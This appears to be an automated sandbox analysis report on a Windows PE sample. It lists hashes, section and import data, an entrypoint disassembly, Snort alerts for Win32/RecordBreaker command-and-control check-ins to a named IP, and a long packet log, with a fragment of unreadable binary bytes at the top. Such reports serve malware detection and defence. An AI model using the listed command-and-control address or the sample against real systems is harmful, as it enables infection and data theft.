Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........\..F!...b...l5....zJ.q.......L].....w[T0.6....E.....r..%Z.vFm.9..5!,.~g5...;.t...']....+A.....u....k...e..&..l.6r[yU...%..f.......N..V.....<+.....l..}.{...z...)y.n..'..).....,.b....5.08K%..O.g..D.S.F5o..<(....>....\f..X..I..2."l...w....7f\|.~.c.4.E.......0..0....H............0.......).'..b.$w\$.q&.]zF_2..;...?.U,...W..L1.2...R..#....W.....c1k.$W..$.J....+M!.Hz.n`U.I)N.\|b.l....{.K@]6.LlP/....](.A..................I...).H....IQ.y.;MG.d..ix..#f.Z$\|..\|.?...0K...t"i..s...Y..%.Ky....0...{.!+.~v.;....J.....Z....).(6..@?v.;~..2..c....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. .0...\|!..A..L.+.=...kP.!.1..

C:\Users\user\TypeRes\DllResource.exe

Download File

Process:	C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1810960
Entropy (8bit):	7.956922547006569
Encrypted:	false
SSDEEP:
MD5:	63FD052610279F9EB9F1FEE8E262F2A4
SHA1:	AAC344ED6F54C367BE51EFFBF6E84128EE8C6992
SHA-256:	955C265A378008EFEE8F0D19C2880D1026F32F7CD6325E0AB1A24C833905BBBA
SHA-512:	234BC89538336452938FBE1E6774F5F7CA47C735F871AC3BA54A3EA6B68C48970FC53239EA72D5CA176F3ACC00932E479020C38CAD66A0F70A3ACDA5B5AFF9B9
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........\.u.\.u.\.u.3...T.u.3.....u.U...Y.u.\.t..u.3...S.u.3...].u.\...Z.u.3...].u.Rich\.u.........................PE..L...\|..X............................`R............@.................................u.......................................d...<.......(............................................................*..@...............8............................text............................... ..`.data....;..........................@....rsrc...(...........................@..@........................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.965252380886825
TrID:	Win32 Executable (generic) a (10002005/4) 99.24% InstallShield setup (43055/19) 0.43% Win32 Executable Delphi generic (14689/80) 0.15% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	em1B8DcC72.exe
File size:	2772334
MD5:	7dfcb4292184f62b7f2eb61bc1190ab8
SHA1:	1af3de70dec2c0d407ef2e161d947e32b42d9c15
SHA256:	81e0959262728a0870a5fd08f80207d1157bdf2e00dde7d8481450fa17f5d718
SHA512:	146b0f8445924ab249a31b0e8fa4f65b333d7fb9ef826276ca7624be9798d095112e50e57cfe337eeb19c0e048a29b392bf7cb07f50cf160218b4aafd402259d
SSDEEP:	49152:pAI+dNpJc7YrEa2u2hq3PGh0p4EyqaeFEqLh09fqNZesF+AxnMtQSOlE:pAI+3c8rHJ283PGi4EyduRLh0MNZesFQ
TLSH:	3BD5333A63C1403BD69219724D97C6FAF636F5441B3CB0DABDD90D1C98132486FBA1AE
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	a2a0b496b2caca72

Static PE Info

General

Entrypoint:	0x425468
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	c9adc83b45e363b21cd6b11b5da0501f

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00425388h
call 00007FE268B82B39h
mov eax, 004254C8h
call 00007FE268B8553Fh
mov edx, dword ptr [00428840h]
mov dword ptr [edx], eax
mov edx, dword ptr [00428840h]
mov edx, dword ptr [edx]
mov eax, dword ptr [00428848h]
call 00007FE268BA0CF9h
mov edx, dword ptr [00428840h]
mov edx, dword ptr [edx]
mov eax, dword ptr [004287DCh]
call 00007FE268B99D8Fh
mov eax, dword ptr [00428840h]
call 00007FE268B887C1h
call 00007FE268B819F4h
add byte ptr [eax], al
add bh, bh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2b000	0x1798	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x31000	0x1cdc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2f000	0x1884	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2e000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x244cc	0x24600	False	0.5598689862542955	data	6.5944280484489814	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x26000	0x2894	0x2a00	False	0.31556919642857145	data	3.7937570409882295	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x29000	0x10f5	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2b000	0x1798	0x1800	False	0.3977864583333333	data	4.885545060649106	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x2d000	0x8	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x2e000	0x18	0x200	False	0.05078125	data	0.2044881574398449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0x2f000	0x1884	0x1a00	False	0.7889122596153846	data	6.586647864611828	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x31000	0x1cdc	0x1e00	False	0.3592447916666667	data	4.75165483227057	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x31270	0x128	GLS_BINARY_LSB_FIRST
RT_ICON	0x31398	0x568	GLS_BINARY_LSB_FIRST
RT_ICON	0x31900	0x2e8	data
RT_ICON	0x31be8	0x8a8	data
RT_RCDATA	0x32490	0x10	data
RT_RCDATA	0x324a0	0x110	data
RT_GROUP_ICON	0x325b0	0x3e	data
RT_VERSION	0x325f0	0x374	data	Russian	Russia
RT_MANIFEST	0x32964	0x376	XML 1.0 document, ASCII text, with CRLF line terminators	Russian	Russia

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetVersion, GetCurrentThreadId, WideCharToMultiByte, GetThreadLocale, GetStartupInfoA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, ExitProcess, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
user32.dll	GetKeyboardType, MessageBoxA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegCloseKey, OpenThreadToken, OpenProcessToken, GetTokenInformation, FreeSid, EqualSid, AllocateAndInitializeSid, AdjustTokenPrivileges
kernel32.dll	WriteFile, WinExec, WaitForSingleObject, TerminateProcess, SystemTimeToFileTime, Sleep, SetFileTime, SetFilePointer, SetErrorMode, SetEndOfFile, ReadFile, OpenProcess, MultiByteToWideChar, LocalFileTimeToFileTime, LoadLibraryA, GlobalFree, GlobalAlloc, GetVersion, GetUserDefaultLangID, GetProcAddress, GetModuleHandleA, GetLocalTime, GetLastError, GetFileTime, GetFileSize, GetExitCodeProcess, GetCurrentThread, GetCurrentProcess, FreeLibrary, FindClose, FileTimeToSystemTime, FileTimeToLocalFileTime, DosDateTimeToFileTime, CompareFileTime, CloseHandle
gdi32.dll	StretchDIBits, StretchBlt, SetWindowOrgEx, SetTextColor, SetStretchBltMode, SetRectRgn, SetROP2, SetPixel, SetDIBits, SetBrushOrgEx, SetBkMode, SetBkColor, SelectObject, SaveDC, RestoreDC, OffsetRgn, MoveToEx, IntersectClipRect, GetStockObject, GetPixel, GetDIBits, ExtSelectClipRgn, ExcludeClipRect, DeleteObject, DeleteDC, CreateSolidBrush, CreateRectRgn, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CombineRgn, BitBlt
user32.dll	WaitMessage, ValidateRect, TranslateMessage, ShowWindow, SetWindowPos, SetTimer, SetParent, SetForegroundWindow, SetFocus, SetCursor, SendMessageA, ScreenToClient, ReleaseDC, PostQuitMessage, OffsetRect, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsIconic, InvalidateRect, GetWindowRgn, GetWindowRect, GetWindowDC, GetUpdateRgn, GetSystemMetrics, GetSystemMenu, GetSysColor, GetParent, GetWindow, GetKeyState, GetFocus, GetDCEx, GetDC, GetCursorPos, GetClientRect, GetCapture, FillRect, ExitWindowsEx, EnumWindows, EndPaint, EnableWindow, EnableMenuItem, DrawIcon, DestroyWindow, DestroyIcon, DeleteMenu, CopyImage, ClientToScreen, BeginPaint, CharLowerBuffA
winmm.dll	timeKillEvent, timeSetEvent
oleaut32.dll	SysAllocStringLen
ole32.dll	OleInitialize
comctl32.dll	ImageList_Draw, ImageList_SetBkColor, ImageList_Create, InitCommonControls
shell32.dll	SHGetFileInfoA
user32.dll	wvsprintfA, SetWindowLongA, SetPropA, SendMessageA, RemovePropA, RegisterClassA, PostMessageA, PeekMessageA, MessageBoxA, LoadIconA, LoadCursorA, GetWindowTextLengthA, GetWindowTextA, GetWindowLongA, GetPropA, GetClassLongA, GetClassInfoA, FindWindowA, DrawTextA, DispatchMessageA, DefWindowProcA, CreateWindowExA, CallWindowProcA
gdi32.dll	GetTextExtentPoint32A, GetObjectA, CreateFontIndirectA, AddFontResourceA
kernel32.dll	WritePrivateProfileStringA, SetFileAttributesA, SetCurrentDirectoryA, RemoveDirectoryA, LoadLibraryA, GetWindowsDirectoryA, GetVersionExA, GetTimeFormatA, GetTempPathA, GetSystemDirectoryA, GetShortPathNameA, GetPrivateProfileStringA, GetModuleHandleA, GetModuleFileNameA, GetFullPathNameA, GetFileAttributesA, GetDiskFreeSpaceA, GetDateFormatA, GetComputerNameA, GetCommandLineA, FindNextFileA, FindFirstFileA, ExpandEnvironmentStringsA, DeleteFileA, CreateFileA, CreateDirectoryA, CompareStringA
advapi32.dll	RegSetValueExA, RegQueryValueExA, RegQueryInfoKeyA, RegOpenKeyExA, RegEnumKeyExA, RegCreateKeyExA, LookupPrivilegeValueA, GetUserNameA
shell32.dll	ShellExecuteExA, ShellExecuteA
cabinet.dll	FDIDestroy, FDICopy, FDICreate
ole32.dll	OleInitialize, CoTaskMemFree, CoCreateInstance, CoUninitialize, CoInitialize
shell32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHGetMalloc, SHChangeNotify, SHBrowseForFolderA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Russian	Russia

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.445.95.11.15849743802036934 08/23/22-03:42:40.567637	TCP	2036934	ET TROJAN Win32/RecordBreaker CnC Checkin M1	49743	80	192.168.2.4	45.95.11.158
45.95.11.158192.168.2.480497432036955 08/23/22-03:42:40.732975	TCP	2036955	ET TROJAN Win32/RecordBreaker CnC Checkin - Server Response	80	49743	45.95.11.158	192.168.2.4
192.168.2.445.95.11.15849743802038485 08/23/22-03:42:40.567637	TCP	2038485	ET TROJAN Win32/RecordBreaker - Observed UA M1	49743	80	192.168.2.4	45.95.11.158
192.168.2.445.95.11.15849743802038486 08/23/22-03:42:56.011955	TCP	2038486	ET TROJAN Win32/RecordBreaker - Observed UA M2	49743	80	192.168.2.4	45.95.11.158
192.168.2.445.95.11.15849743802038487 08/23/22-03:42:56.011955	TCP	2038487	ET TROJAN Win32/RecordBreaker - Library Request	49743	80	192.168.2.4	45.95.11.158

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 23, 2022 03:42:34.190952063 CEST	49706	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:34.190999031 CEST	443	49706	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:34.191082001 CEST	49706	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:34.191291094 CEST	49707	443	192.168.2.4	142.251.209.46
Aug 23, 2022 03:42:34.191342115 CEST	443	49707	142.251.209.46	192.168.2.4
Aug 23, 2022 03:42:34.191430092 CEST	49707	443	192.168.2.4	142.251.209.46
Aug 23, 2022 03:42:34.192022085 CEST	49709	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.192048073 CEST	443	49709	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.192137003 CEST	49709	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.192579031 CEST	49706	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:34.192605972 CEST	443	49706	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:34.192842960 CEST	49707	443	192.168.2.4	142.251.209.46
Aug 23, 2022 03:42:34.192872047 CEST	443	49707	142.251.209.46	192.168.2.4
Aug 23, 2022 03:42:34.193176031 CEST	49709	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.193202972 CEST	443	49709	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.194292068 CEST	49710	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.194329023 CEST	443	49710	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.194407940 CEST	49710	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.194673061 CEST	49710	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.194680929 CEST	443	49710	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.195269108 CEST	49711	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.195302963 CEST	443	49711	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.195391893 CEST	49711	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.195656061 CEST	49711	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.195692062 CEST	443	49711	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.207986116 CEST	49712	443	192.168.2.4	142.250.180.141
Aug 23, 2022 03:42:34.208026886 CEST	443	49712	142.250.180.141	192.168.2.4
Aug 23, 2022 03:42:34.208095074 CEST	49712	443	192.168.2.4	142.250.180.141
Aug 23, 2022 03:42:34.208391905 CEST	49712	443	192.168.2.4	142.250.180.141
Aug 23, 2022 03:42:34.208411932 CEST	443	49712	142.250.180.141	192.168.2.4
Aug 23, 2022 03:42:34.253196001 CEST	443	49709	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.256669044 CEST	443	49711	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.256764889 CEST	49709	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.256799936 CEST	443	49709	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.257083893 CEST	49711	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.257112026 CEST	443	49711	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.258678913 CEST	443	49710	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.259027958 CEST	49710	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.259083033 CEST	443	49710	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.259666920 CEST	443	49711	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.259766102 CEST	49711	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.259902954 CEST	443	49709	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.259984970 CEST	49709	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.261562109 CEST	443	49710	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.261678934 CEST	49710	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.267040968 CEST	443	49707	142.251.209.46	192.168.2.4
Aug 23, 2022 03:42:34.267358065 CEST	49707	443	192.168.2.4	142.251.209.46
Aug 23, 2022 03:42:34.267395020 CEST	443	49707	142.251.209.46	192.168.2.4
Aug 23, 2022 03:42:34.268333912 CEST	443	49707	142.251.209.46	192.168.2.4
Aug 23, 2022 03:42:34.268426895 CEST	49707	443	192.168.2.4	142.251.209.46
Aug 23, 2022 03:42:34.270478010 CEST	443	49707	142.251.209.46	192.168.2.4
Aug 23, 2022 03:42:34.270622969 CEST	49707	443	192.168.2.4	142.251.209.46
Aug 23, 2022 03:42:34.273058891 CEST	443	49712	142.250.180.141	192.168.2.4
Aug 23, 2022 03:42:34.273427010 CEST	49712	443	192.168.2.4	142.250.180.141
Aug 23, 2022 03:42:34.273447037 CEST	443	49712	142.250.180.141	192.168.2.4
Aug 23, 2022 03:42:34.274513006 CEST	443	49712	142.250.180.141	192.168.2.4
Aug 23, 2022 03:42:34.274597883 CEST	49712	443	192.168.2.4	142.250.180.141
Aug 23, 2022 03:42:34.281331062 CEST	443	49706	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:34.281723976 CEST	49706	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:34.281763077 CEST	443	49706	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:34.282850027 CEST	443	49706	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:34.282979965 CEST	49706	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:34.306986094 CEST	49713	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.307018995 CEST	443	49713	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.307099104 CEST	49713	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.307425022 CEST	49713	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.307452917 CEST	443	49713	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.355911016 CEST	443	49713	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.361686945 CEST	49714	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.361733913 CEST	443	49714	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.361833096 CEST	49714	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.387114048 CEST	49715	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.387202024 CEST	443	49715	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.387427092 CEST	49715	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.388797045 CEST	49713	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.388845921 CEST	443	49713	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.391355991 CEST	49714	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.391386986 CEST	443	49714	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.392071009 CEST	443	49713	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.392184019 CEST	49713	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.411524057 CEST	49715	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.411653042 CEST	443	49715	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.434500933 CEST	443	49714	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.456733942 CEST	443	49715	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.467005968 CEST	49714	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.467048883 CEST	443	49714	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.468046904 CEST	49715	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.468107939 CEST	443	49715	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.469481945 CEST	443	49714	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.469580889 CEST	49714	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.470242977 CEST	443	49715	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.470381975 CEST	49715	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.907427073 CEST	49716	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:34.907468081 CEST	443	49716	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:34.907566071 CEST	49716	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:34.908123970 CEST	49712	443	192.168.2.4	142.250.180.141
Aug 23, 2022 03:42:34.908369064 CEST	443	49712	142.250.180.141	192.168.2.4
Aug 23, 2022 03:42:34.908916950 CEST	49716	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:34.908943892 CEST	443	49716	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:34.909419060 CEST	49715	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.909641981 CEST	443	49715	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.910432100 CEST	49712	443	192.168.2.4	142.250.180.141
Aug 23, 2022 03:42:34.910465002 CEST	443	49712	142.250.180.141	192.168.2.4
Aug 23, 2022 03:42:34.910979986 CEST	49707	443	192.168.2.4	142.251.209.46
Aug 23, 2022 03:42:34.911345005 CEST	443	49707	142.251.209.46	192.168.2.4
Aug 23, 2022 03:42:34.912508965 CEST	49706	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:34.912741899 CEST	443	49706	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:34.913271904 CEST	49711	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.913436890 CEST	443	49711	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.913559914 CEST	49715	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.913602114 CEST	443	49715	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.913893938 CEST	49709	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.914191961 CEST	443	49709	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.914429903 CEST	49710	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.914644003 CEST	443	49710	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.914949894 CEST	49714	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.915124893 CEST	443	49714	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.915174007 CEST	49713	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.915316105 CEST	49707	443	192.168.2.4	142.251.209.46
Aug 23, 2022 03:42:34.915365934 CEST	443	49707	142.251.209.46	192.168.2.4
Aug 23, 2022 03:42:34.915530920 CEST	443	49713	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.917104959 CEST	49706	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:34.917138100 CEST	443	49706	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:34.917798042 CEST	49717	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:34.917851925 CEST	443	49717	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:34.917951107 CEST	49717	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:34.918047905 CEST	49711	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.918078899 CEST	443	49711	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.918132067 CEST	49709	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.918169022 CEST	443	49709	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.918283939 CEST	49710	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.918320894 CEST	443	49710	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.918376923 CEST	49714	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.918401003 CEST	443	49714	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.918457985 CEST	49713	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.918494940 CEST	443	49713	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.918688059 CEST	49717	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:34.918705940 CEST	443	49717	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:34.940871954 CEST	443	49715	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.940996885 CEST	49715	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.942310095 CEST	49715	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.942339897 CEST	443	49715	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.942986012 CEST	443	49709	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.942994118 CEST	443	49711	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.943080902 CEST	443	49706	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:34.943085909 CEST	49711	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.943124056 CEST	49709	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.943135023 CEST	49706	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:34.943427086 CEST	443	49710	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.943500042 CEST	49710	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.959961891 CEST	443	49707	142.251.209.46	192.168.2.4
Aug 23, 2022 03:42:34.960051060 CEST	443	49707	142.251.209.46	192.168.2.4
Aug 23, 2022 03:42:34.960078001 CEST	49707	443	192.168.2.4	142.251.209.46
Aug 23, 2022 03:42:34.960110903 CEST	49707	443	192.168.2.4	142.251.209.46
Aug 23, 2022 03:42:34.963898897 CEST	49711	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.963927984 CEST	443	49711	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.964379072 CEST	49709	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.964399099 CEST	443	49709	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.966767073 CEST	49710	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.966799974 CEST	443	49710	8.8.8.8	192.168.2.4
Aug 23, 2022 03:42:34.971493959 CEST	49714	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.972311020 CEST	49713	443	192.168.2.4	8.8.8.8
Aug 23, 2022 03:42:34.972317934 CEST	49712	443	192.168.2.4	142.250.180.141
Aug 23, 2022 03:42:34.973472118 CEST	443	49712	142.250.180.141	192.168.2.4
Aug 23, 2022 03:42:34.973567963 CEST	443	49712	142.250.180.141	192.168.2.4
Aug 23, 2022 03:42:34.973579884 CEST	49706	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:34.973607063 CEST	443	49706	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:34.973623037 CEST	49712	443	192.168.2.4	142.250.180.141
Aug 23, 2022 03:42:34.974472046 CEST	49707	443	192.168.2.4	142.251.209.46
Aug 23, 2022 03:42:34.974503040 CEST	443	49707	142.251.209.46	192.168.2.4
Aug 23, 2022 03:42:34.980818987 CEST	49712	443	192.168.2.4	142.250.180.141
Aug 23, 2022 03:42:34.980848074 CEST	443	49712	142.250.180.141	192.168.2.4
Aug 23, 2022 03:42:34.991586924 CEST	443	49716	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:34.994503975 CEST	49716	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:34.994535923 CEST	443	49716	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:34.995491028 CEST	443	49717	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:34.997901917 CEST	49717	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:34.997945070 CEST	443	49717	148.251.234.83	192.168.2.4
